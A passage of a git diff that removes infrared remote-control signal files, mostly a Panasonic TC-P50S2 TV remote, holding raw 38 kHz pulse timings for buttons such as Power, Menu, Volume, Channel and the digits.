500 500 497 1503 492 508 499 1500 495 1481 524 1475 520 1481 524 3981 518 508 499 500 497 1503 491 508 499 1500 495 1482 523 501 496 506 491 18807 8062 4005 525 501 496 504 493 1507 498 502 495 1479 526 1475 519 1480 525 1476 518 3989 520 505 492 508 499 1500 495 506 491 1508 497 1479 516 509 498 503 494 -# -name: 0 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8067 4001 518 507 500 499 498 1502 493 508 499 1501 494 1505 500 1500 495 1507 498 3984 525 499 498 1503 492 509 498 501 496 1505 500 500 497 504 493 508 499 19799 8068 4001 518 507 501 500 497 1503 492 509 498 1501 494 1506 499 1501 493 1507 498 3984 525 500 497 1503 492 509 498 502 495 1506 499 502 495 505 492 509 498 -# -name: 1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8071 3995 524 501 496 504 493 1507 498 502 495 1504 501 1499 495 1504 501 1500 494 3986 523 503 494 506 491 509 498 1501 493 507 500 500 497 504 493 508 499 20792 8070 3996 523 502 495 505 492 1507 498 503 494 1504 501 1498 496 1503 491 1509 496 3985 524 501 496 505 492 508 499 1500 494 506 491 509 498 502 495 506 491 20803 8061 4004 515 510 497 502 495 1505 500 500 497 1501 493 1506 499 1500 494 1506 499 3982 516 508 499 501 496 504 493 1506 499 502 495 505 492 508 499 502 495 -# -name: 2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8068 3998 521 504 493 507 500 1499 495 505 492 1507 498 1476 518 1482 523 1477 517 3988 521 1480 525 500 497 503 494 1505 500 501 496 505 492 509 498 503 494 19801 8065 4002 517 508 499 501 496 1504 501 499 498 1501 493 1506 499 1501 494 1507 498 3983 515 1509 496 505 492 508 499 1501 493 507 500 500 497 504 493 508 499 19798 8068 3999 520 505 492 508 499 1501 494 506 491 1508 497 1502 493 1507 498 1502 493 3989 520 1504 501 500 497 503 494 1506 499 501 496 505 492 508 499 502 495 -# -name: 3 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8064 4004 515 510 497 503 494 1505 500 501 496 1504 490 1509 496 1504 491 1510 495 3987 522 503 494 1506 499 502 495 1505 500 501 496 504 493 508 499 502 495 19804 8063 4005 525 501 496 504 493 1507 498 503 494 1506 499 1500 495 1505 500 1501 494 3989 520 505 492 1508 497 503 494 1507 498 503 494 506 491 510 497 504 493 19804 8072 3996 523 503 494 506 491 1509 496 505 492 1507 498 1502 493 1507 498 1503 492 3990 519 505 492 1508 497 504 493 1507 498 503 494 506 491 510 497 504 493 -# -name: 4 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8065 4002 517 508 499 501 496 1504 501 499 498 1502 493 1507 498 1501 494 1507 498 3983 516 1509 496 1504 501 499 498 1502 493 508 499 502 495 505 492 509 498 18798 8071 3997 522 503 494 505 492 1508 497 504 493 1507 498 1501 494 1507 498 1503 492 3989 520 1504 501 1499 495 505 492 1508 497 503 494 507 500 500 497 504 493 18804 8065 4001 518 508 499 500 497 1503 492 509 498 1502 492 1507 498 1501 494 1508 497 3984 525 1499 495 1505 500 500 497 1503 492 509 498 502 495 506 491 510 497 -# -name: 5 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8065 4000 520 506 491 509 498 1502 493 507 500 1499 496 1504 491 1508 497 1504 501 3980 518 506 491 509 498 1501 494 1507 498 503 494 506 491 509 498 503 494 19801 8065 4003 516 509 498 502 495 1505 500 500 497 1503 492 1507 498 1502 493 1508 497 3985 524 501 496 504 493 1507 498 1502 493 508 499 501 496 505 492 509 498 19798 8069 3998 521 504 493 507 500 1499 495 505 492 1507 498 1502 493 1507 498 1503 492 3989 520 505 492 508 499 1500 494 1506 499 502 495 506 491 509 498 503 494 -# -name: 6 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8060 4002 517 507 500 500 497 1502 493 507 500 1498 497 1502 493 1507 498 1502 493 3987 522 1502 493 507 500 1499 496 1504 491 510 497 503 494 506 491 510 497 18797 8061 4003 516 508 499 501 496 1503 492 509 498 1501 494 1505 500 1500 494 1506 499 3983 515 1509 496 504 493 1506 499 1501 494 507 500 501 496 504 493 508 499 -# -name: 7 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8066 3999 520 506 491 509 498 1501 494 506 491 1509 496 1503 491 1508 497 1504 501 3980 518 506 491 1509 496 1503 492 1508 497 504 493 507 500 500 497 505 492 18805 8064 4002 517 508 499 501 496 1504 491 509 498 1501 494 1506 499 1500 494 1507 498 3983 516 509 498 1501 494 1506 499 1501 494 507 500 500 497 504 493 508 499 18796 8062 4002 518 508 499 501 496 1503 492 509 498 1501 494 1506 499 1500 495 1506 499 3982 517 507 500 1499 496 1504 491 1509 496 504 493 508 499 501 496 505 492 -# -name: 8 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8068 3995 524 500 497 503 494 1505 500 500 497 1502 493 1506 499 1501 494 1506 499 3982 517 1506 499 1500 495 1505 500 1499 496 505 492 509 498 502 495 505 492 17804 8068 3999 520 505 492 508 499 1501 494 506 491 1509 496 1503 492 1508 497 1504 501 3980 518 1506 499 1501 494 1505 500 1501 493 507 500 500 497 504 493 508 499 17799 8062 4005 525 501 496 504 493 1507 498 502 495 1504 501 1499 496 1503 492 1509 496 3985 524 1500 495 1505 500 1500 495 1505 500 501 496 505 492 509 498 503 494 17804 8068 3998 521 504 493 507 500 1499 495 505 492 1507 498 1501 494 1505 500 1501 494 3987 522 1477 517 1482 523 1476 518 1507 498 503 494 507 490 510 497 504 493 17807 8064 4003 516 510 497 503 494 1506 499 501 496 1504 490 1485 520 1480 525 1476 518 3987 522 1478 516 1484 521 1479 516 1484 521 504 493 508 499 501 496 506 491 17805 8067 4001 518 507 500 500 497 1503 492 508 499 1500 495 1480 525 1474 520 1481 524 3980 519 1480 525 1475 519 1479 515 1485 520 505 492 508 499 501 496 505 492 17806 8066 4001 518 507 500 500 497 1502 493 507 500 1499 495 1480 525 1474 520 1480 525 3980 518 1480 525 1475 519 1480 525 1475 519 505 492 509 498 502 495 507 490 17806 8065 4001 518 507 500 500 497 1503 492 508 499 1500 495 1505 500 1474 520 1480 525 3981 517 1482 523 1476 518 1507 498 1502 492 509 498 503 494 506 491 511 496 17805 8067 4002 517 508 499 501 496 1504 501 499 498 1502 492 1507 498 1501 494 1507 498 3984 525 1499 495 1504 501 1499 496 1504 501 500 497 503 494 507 500 501 496 17802 8071 3996 524 502 495 505 492 1508 497 503 494 1505 500 1500 495 1505 500 1501 494 3987 522 1502 492 1507 498 1502 493 1507 498 503 494 507 500 500 497 504 493 17806 8065 4001 518 507 500 500 497 1502 493 508 499 1500 495 1505 500 1499 495 1506 499 3982 516 1508 497 1503 492 1508 497 1504 490 510 497 503 494 507 500 501 496 17806 8066 4004 515 510 497 503 494 1506 499 502 495 1504 501 1499 495 1504 501 1500 495 3987 522 1502 493 1508 497 1503 492 1508 497 504 493 507 500 500 497 505 492 -# -name: 9 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8063 4001 519 507 500 499 498 1502 493 507 500 1499 495 1503 492 1508 497 1503 492 3990 519 506 491 510 497 503 494 506 491 1508 497 504 493 507 500 501 496 20799 8065 4001 519 507 500 499 498 1502 493 507 500 1500 495 1505 500 1499 496 1506 499 3983 516 509 498 502 495 505 492 508 499 1501 494 506 491 510 497 504 493 20801 8064 4004 515 509 498 502 495 1505 500 500 497 1502 493 1506 499 1501 494 1507 498 3983 516 510 497 503 494 507 490 510 497 1502 493 508 499 501 496 505 492 20803 8071 3994 525 500 497 504 493 1506 499 502 495 1504 501 1498 497 1503 492 1509 496 3986 523 502 495 505 492 509 498 502 495 1504 501 500 497 503 494 508 499 -# -name: Ent -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8063 4002 517 508 499 500 497 1503 492 508 499 1500 494 1504 501 1498 497 1504 501 3980 519 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18804 8066 4000 519 506 491 509 498 1501 494 506 491 1508 497 1502 493 1507 498 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18803 8066 4000 519 506 491 509 498 1501 494 507 500 1499 496 1503 492 1508 497 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18804 8066 3999 520 505 492 508 499 1500 495 505 492 1508 497 1502 493 1507 498 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir b/assets/ir_optional_assets/optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir deleted file mode 100644 index d3bd431ee..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1735 448 424 445 1301 448 425 444 429 450 422 447 426 443 430 449 423 446 427 452 421 448 424 445 428 451 422 447 1299 450 422 447 426 443 430 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 444 429 450 423 446 426 443 430 449 423 446 427 452 1294 444 428 451 1295 443 1303 446 1300 449 1297 452 421 500 373 444 1302 447 426 443 1303 446 1300 449 1297 452 1294 444 428 451 1295 443 74431 3476 1736 448 425 444 1302 447 426 453 419 450 423 446 427 452 420 449 424 445 427 452 421 448 425 444 428 451 422 447 1299 450 422 447 426 453 420 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 454 419 450 423 446 454 425 447 422 451 418 427 452 1294 444 428 451 1295 443 1302 447 1300 449 1297 452 420 449 451 418 1301 448 424 445 1302 447 1299 450 1296 442 1304 445 454 425 1294 444 74431 3475 1737 446 425 454 1293 445 426 453 420 449 424 445 427 452 421 448 424 445 428 451 422 447 425 454 419 450 422 447 1300 449 424 445 427 452 421 448 424 445 428 451 421 448 425 454 418 451 422 447 1300 449 424 445 454 425 420 449 424 445 428 451 421 448 425 444 429 450 1296 453 419 450 1297 452 1294 444 1301 448 1298 451 422 509 364 453 1293 445 427 452 1294 444 1301 448 1298 451 1296 453 420 449 1296 453 -# -name: CC -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1762 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 450 419 454 415 458 421 451 418 455 424 448 421 1325 424 449 420 453 416 457 422 450 419 454 415 458 421 451 418 455 424 448 421 1325 424 449 420 453 416 456 423 450 419 453 416 457 422 451 418 454 415 1331 418 455 424 1321 417 1329 420 1325 424 450 419 454 415 1330 419 1327 422 452 417 1328 421 1325 424 1323 415 457 422 451 418 455 424 -# -name: SAP -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3474 1765 418 454 415 1331 418 428 451 448 421 452 417 456 423 449 420 453 416 457 422 450 419 454 425 448 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 450 419 454 415 458 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 451 418 454 425 448 421 1325 424 1322 416 456 423 450 419 1327 422 1324 425 448 421 452 417 1329 420 1326 423 450 419 454 415 1331 418 1328 421 452 417 1302 447 -# -name: Input -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3474 1765 418 454 415 1304 445 455 424 449 420 452 417 456 423 450 419 454 415 457 422 451 418 455 424 448 421 452 417 1329 420 426 443 457 422 450 419 427 452 421 448 452 417 456 423 449 420 453 416 1330 419 454 415 458 421 451 418 455 424 449 420 452 417 429 450 450 419 1326 422 451 418 1328 421 452 417 456 423 449 420 453 416 457 422 1296 442 458 421 1324 425 421 448 452 417 456 423 450 419 1299 450 -# -name: Viera_Link -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3471 1768 415 458 421 1324 424 449 420 453 416 456 423 450 419 454 415 458 421 451 418 455 424 448 421 452 417 456 423 1323 415 457 422 451 418 455 424 448 421 452 417 456 423 450 419 453 416 457 422 1324 424 1321 417 456 423 449 420 1326 422 450 419 454 425 448 421 452 417 1329 420 453 416 457 422 451 418 1328 420 1325 424 449 420 1326 422 450 419 454 425 448 421 1325 423 1322 416 1303 445 454 425 448 421 -# -name: Menu -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3482 1757 416 457 422 1324 425 420 449 451 418 455 424 421 448 452 417 456 423 450 419 453 416 457 422 451 418 455 424 1294 444 428 451 422 447 426 443 457 422 451 418 455 424 448 421 452 417 456 423 1322 416 457 422 423 446 454 425 448 421 452 417 456 423 449 420 453 416 457 422 1324 424 421 448 452 417 1329 420 426 443 1330 419 455 424 421 448 1325 423 449 420 453 416 1330 418 454 425 1294 444 1302 446 -# -name: Viera_Tools -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1764 419 454 415 1331 418 455 424 421 448 425 444 456 423 450 419 454 415 457 422 451 418 455 424 449 420 452 417 1329 419 453 416 430 449 424 445 455 424 449 420 452 417 456 423 450 419 454 415 1303 445 455 424 449 420 452 417 456 423 450 419 454 415 458 421 451 418 1301 447 1298 450 1323 425 1294 444 428 451 1295 443 1303 445 1328 420 1325 423 1295 443 1331 417 1301 448 425 444 1302 446 1300 448 451 418 -# -name: SD_Card -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3476 1763 420 452 417 1302 446 454 415 458 421 451 418 455 424 449 420 453 416 457 422 450 419 454 425 448 421 452 417 1301 447 453 416 430 449 450 419 427 452 448 421 452 417 456 423 450 419 453 416 1330 418 1301 447 425 444 456 423 1296 442 458 421 451 418 455 424 449 420 1326 422 1324 424 448 421 1325 423 450 419 1327 421 424 445 1301 447 453 416 1330 418 454 425 448 421 452 417 1329 419 453 416 458 421 -# -name: Left -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3474 1738 445 427 452 1321 417 456 423 450 419 426 443 458 421 451 418 455 424 449 420 452 417 456 423 450 419 454 415 1304 444 455 424 422 447 425 444 457 422 450 419 454 425 448 421 452 417 456 423 1322 416 457 422 451 418 455 424 448 421 452 417 456 423 450 419 453 416 457 422 1324 425 1295 443 1303 445 454 425 448 421 1297 451 422 447 453 416 1303 445 1300 449 1298 450 449 420 453 416 1303 445 1301 447 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3473 1767 416 456 423 1296 442 458 421 451 418 455 424 449 420 453 416 457 422 451 418 454 425 448 421 452 417 456 423 1323 415 458 421 451 418 455 424 449 420 453 416 456 423 450 419 454 415 458 421 1325 423 449 420 453 416 457 422 451 418 455 424 448 421 452 417 456 423 450 419 1327 421 452 417 1301 447 453 416 457 422 1324 424 448 421 452 417 1329 419 454 415 1331 417 455 424 449 420 1326 422 1324 424 -# -name: Right -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3474 1765 418 454 425 1321 417 456 423 449 420 453 416 457 422 451 418 455 424 449 420 453 416 456 423 450 419 454 425 1293 445 456 423 449 420 453 416 457 422 451 418 455 424 449 420 452 417 456 423 1323 425 447 422 452 417 456 423 449 420 453 416 457 422 451 418 455 424 1294 444 1302 446 1300 448 1298 450 449 420 453 416 1330 418 427 452 1322 416 1302 446 1327 421 1298 450 449 420 426 443 1330 418 1301 447 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3483 1729 454 420 449 1297 451 422 447 426 443 430 449 423 446 428 451 421 448 425 444 429 450 423 446 427 452 421 448 1298 450 423 446 427 452 421 448 424 445 429 450 422 447 426 453 420 501 372 507 1239 447 426 443 430 449 424 445 428 503 370 447 425 444 430 449 423 446 1301 447 1298 450 423 446 1300 448 425 444 429 450 1296 452 420 449 1298 450 1295 443 430 449 1297 451 421 448 425 444 1302 446 1300 448 -# -name: OK -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1762 421 452 417 1329 419 453 416 458 421 451 418 455 424 449 420 453 416 457 422 451 418 454 425 448 421 452 417 1329 419 454 415 458 421 452 417 456 423 449 420 453 416 457 422 451 418 455 424 1322 416 456 423 450 419 454 425 448 421 452 417 429 450 449 420 453 416 1331 417 455 424 449 420 1326 422 451 418 454 425 1321 417 456 423 1323 425 448 421 452 417 1329 419 453 416 457 422 1324 424 1322 416 -# -name: Submenu -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1763 420 453 416 1303 445 455 424 421 448 425 444 457 422 450 419 454 425 448 421 452 417 456 423 450 419 454 415 1331 417 428 451 449 420 453 416 457 422 451 418 455 424 449 420 426 443 457 422 1324 424 1322 416 457 422 450 419 1328 420 425 444 456 423 450 419 454 425 1321 417 1302 446 1299 449 451 418 455 424 1322 416 430 449 1296 452 448 421 1325 423 1323 425 1321 417 456 423 1323 425 420 449 424 445 -# -name: Return -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1763 420 453 416 1330 418 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 454 415 1331 417 456 423 449 420 454 415 458 421 451 418 455 424 449 420 453 416 457 422 1324 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 457 422 450 419 455 424 1321 417 456 423 1323 425 448 421 1325 423 1323 425 448 421 452 417 1329 419 454 415 1331 417 456 423 1295 443 458 421 -# -name: Red -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3479 1761 422 451 418 1328 420 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 454 415 458 421 452 417 1329 419 453 416 458 421 451 418 455 424 449 420 453 416 457 422 451 418 455 424 1322 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 448 421 452 417 457 422 450 419 1328 420 1325 423 1323 425 448 421 452 417 456 423 450 419 454 415 1331 417 1329 419 1327 421 1297 451 -# -name: Green -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3473 1740 443 456 423 1323 425 448 421 452 417 456 423 423 446 454 425 448 421 452 417 456 423 450 419 454 425 448 421 1325 423 450 419 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 1329 419 454 425 448 421 452 417 456 423 450 419 454 415 458 421 452 417 1329 419 454 425 448 421 452 417 1329 419 1327 421 1325 423 450 419 1327 421 452 417 456 423 450 419 1327 421 1325 423 1323 415 1304 444 -# -name: Blue -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3473 1767 416 429 450 1324 424 421 448 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 1326 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 454 415 1331 417 456 423 450 419 454 425 420 449 452 417 429 450 450 419 454 425 1321 417 1329 419 454 425 448 421 1326 422 1296 452 1322 416 457 422 1324 424 1322 416 430 449 451 418 1329 419 1300 448 1298 450 1296 452 74416 3475 1737 446 454 425 1321 417 456 423 450 419 427 452 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 1324 424 421 448 453 416 457 422 451 418 455 424 448 421 453 416 457 422 451 418 1328 420 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 1327 421 1325 423 450 419 454 425 1294 444 1302 446 1300 448 452 417 1329 419 1300 448 452 417 429 450 1296 452 1321 417 1329 419 1300 448 -# -name: Yellow -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3476 1737 445 455 424 1295 443 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1298 450 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1303 445 455 424 449 420 453 416 457 422 451 418 456 423 449 420 454 415 458 421 1324 424 449 420 454 415 1331 417 1301 447 1299 449 452 417 456 423 1323 425 448 421 453 416 1330 418 1300 448 1326 422 1296 452 -# -name: Vol_Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3474 1765 418 455 424 1323 415 458 421 451 418 456 423 422 447 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 423 446 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 1330 418 455 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 453 416 458 421 452 417 456 423 450 419 1327 421 424 445 1329 419 -# -name: Vol_Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1737 446 427 452 1294 444 456 423 423 446 454 425 421 448 452 417 456 423 423 446 455 424 449 420 425 444 457 422 1297 451 421 448 453 416 457 422 451 418 428 451 449 420 426 443 457 422 424 445 1301 447 426 443 458 421 451 418 456 423 449 420 454 415 458 421 452 417 1302 446 427 452 448 421 452 417 456 423 1296 452 448 421 453 416 1303 445 455 424 449 420 453 416 430 449 1297 451 421 448 1299 449 -# -name: Ch_Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3476 1764 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 458 421 1325 423 450 419 454 414 458 421 452 417 456 423 450 419 455 424 449 420 453 416 1330 418 455 424 449 420 453 416 457 422 451 418 456 423 450 419 454 415 458 421 452 417 1330 418 454 425 1321 417 1330 418 455 424 449 420 453 416 458 421 1325 423 450 419 1327 421 1325 423 450 419 1327 421 -# -name: Ch_Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3480 1759 424 450 419 1300 448 452 417 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 450 419 455 424 448 421 453 416 457 422 451 418 455 424 449 420 1326 422 424 445 1329 419 426 443 1331 417 1302 446 454 425 420 449 1298 450 450 419 1328 420 452 417 1330 418 1301 447 425 444 1330 418 -# -name: Mute -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1763 420 453 416 1330 418 455 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 452 417 456 423 1324 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 1329 419 454 415 458 421 452 417 456 423 450 419 427 452 448 421 452 417 456 423 1324 424 449 420 453 416 1330 418 1328 420 453 416 457 422 451 418 1329 419 454 415 458 421 1298 450 1323 425 448 421 1326 422 -# -name: Format -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1762 421 452 417 1330 418 455 424 449 420 453 416 457 422 424 445 455 424 449 420 454 414 458 421 452 417 456 423 1323 425 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 1301 447 453 416 458 421 1325 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 1326 422 1297 451 1323 415 431 448 1325 423 1323 425 448 421 1326 422 451 418 1301 447 1326 422 424 445 1302 446 454 425 -# -name: Info -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3482 1731 452 448 421 1326 422 451 418 455 424 422 447 453 416 458 421 452 417 456 423 450 419 454 425 421 448 452 417 1330 418 454 425 448 421 425 444 457 422 451 418 455 424 449 420 453 416 457 422 1325 423 449 420 454 425 448 421 452 417 456 423 450 419 455 424 448 421 1326 422 424 445 455 424 1323 415 1331 417 1329 419 454 425 448 421 1298 450 423 446 455 424 1322 416 1330 418 1301 447 426 443 1304 444 -# -name: Favorite -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3481 1759 423 449 420 1326 422 452 417 456 423 451 417 455 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 1321 417 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 1299 449 451 418 456 423 1323 425 448 421 453 416 457 422 451 418 456 423 1322 426 1294 443 1303 445 455 424 1295 442 458 421 1298 450 1297 451 1295 443 1304 444 456 423 450 419 1300 448 452 417 457 422 74443 3473 1739 443 456 423 1297 451 449 420 453 416 430 449 451 417 429 450 422 447 427 452 448 420 453 416 457 422 424 444 1302 446 454 425 421 448 452 417 457 422 424 444 428 451 422 447 454 414 458 421 1298 502 1244 452 421 448 453 416 1303 497 377 450 450 419 454 425 448 421 452 417 1302 446 1301 447 1299 449 451 418 1302 446 427 452 1294 444 1303 445 1301 447 1300 448 452 417 456 423 1296 452 449 420 453 415 -# -name: 1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3480 1760 422 451 418 1328 420 453 416 458 421 452 417 456 423 451 418 455 424 449 420 453 416 458 421 452 417 456 423 1322 426 448 421 452 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 1329 419 454 425 449 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 1328 420 453 415 458 421 452 417 456 423 450 419 455 424 449 420 1326 422 451 418 456 423 1323 425 -# -name: 2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1736 446 426 443 1304 444 429 450 423 445 428 451 422 447 426 443 430 449 424 444 428 451 422 446 427 452 421 448 1299 449 424 444 428 451 422 447 426 443 431 448 425 443 429 450 423 445 427 452 1295 442 430 449 424 444 429 450 423 445 427 452 421 448 425 443 430 449 1297 451 422 447 426 453 420 449 1298 450 423 446 427 452 421 448 1299 449 424 445 429 450 423 445 1300 448 425 443 430 449 1297 451 -# -name: 3 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3480 1733 449 423 445 1301 447 426 443 431 448 425 444 429 450 423 445 427 452 421 448 426 443 430 449 424 444 428 451 1296 452 421 448 425 443 430 449 423 445 428 451 422 447 426 442 431 448 425 443 1302 446 428 451 422 447 426 442 430 449 424 445 428 451 422 447 427 452 421 448 1299 449 424 444 428 451 1295 453 421 448 425 444 429 450 423 446 1301 447 426 442 430 449 1298 450 423 445 427 452 1295 442 -# -name: 4 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3478 1735 448 452 417 1329 419 454 425 448 421 453 416 457 422 451 418 455 424 450 419 454 415 458 421 452 417 456 423 1323 425 449 420 453 416 457 422 451 418 456 423 450 419 454 415 459 420 453 416 1329 419 455 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 1322 416 1330 418 455 424 450 419 1327 421 452 417 457 422 451 418 1328 420 1298 450 451 418 456 423 1323 425 448 421 453 415 1330 418 -# -name: 5 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1765 418 455 424 1295 443 431 448 452 417 429 450 450 419 454 425 448 421 453 416 457 422 451 418 455 424 449 420 1299 449 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 1322 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 1322 416 430 449 1325 423 450 419 454 425 448 421 452 417 457 422 1324 424 449 420 1327 421 452 417 456 423 1323 425 -# -name: 6 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1764 418 455 424 1322 415 457 422 451 418 456 423 450 419 454 425 449 419 453 416 457 422 451 417 456 423 450 419 1327 421 453 416 457 422 451 417 456 423 450 418 454 425 448 420 453 416 457 422 1324 424 449 420 454 425 448 420 453 416 457 422 451 418 455 424 450 419 1327 421 452 417 1329 419 455 424 1322 415 458 421 452 417 457 422 1323 425 449 420 1326 422 452 417 1329 419 455 424 449 420 1326 422 -# -name: 7 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3481 1759 423 449 420 1327 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 450 419 454 425 1321 417 457 422 451 418 428 451 449 420 454 415 458 421 452 417 456 423 450 419 1328 420 453 416 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 1324 424 1322 416 458 421 1325 423 450 419 454 425 448 421 453 416 1331 417 1329 419 426 453 1321 417 457 422 451 418 1301 447 -# -name: 8 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3473 1768 415 458 421 1325 423 451 418 455 424 449 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 455 424 449 420 454 415 458 421 452 417 457 422 450 419 455 424 449 420 1326 422 451 418 456 423 450 419 454 425 448 421 453 416 457 422 451 418 1328 420 1326 422 1297 451 450 419 1327 421 453 416 457 422 451 418 1329 419 1299 449 1325 423 451 418 1328 420 453 416 458 421 1325 423 -# -name: 9 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1766 417 456 423 1323 425 448 421 453 416 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 1328 420 453 416 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 1324 424 449 420 453 416 457 422 451 418 456 423 450 419 427 452 448 421 452 417 457 422 451 418 1328 420 1327 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1329 419 454 415 458 421 1326 422 -# -name: 0 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1765 418 455 424 1322 416 458 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 450 419 1327 421 452 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 457 422 1324 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 449 420 1326 422 451 418 456 423 1322 415 1304 444 456 423 451 418 455 424 1322 416 458 421 452 417 1329 419 1327 421 453 416 457 422 1324 424 -# -name: Last -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3481 1760 422 450 419 1328 420 453 416 457 422 451 418 455 424 449 420 454 414 458 421 452 417 456 423 450 419 455 424 1322 416 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1328 420 1299 449 452 417 1329 419 1327 421 453 416 457 422 1324 424 1323 425 1321 417 456 423 1324 424 1322 416 458 421 1325 423 -# -name: Dash -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3482 1759 424 449 420 1326 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1331 417 456 423 450 419 454 415 458 421 452 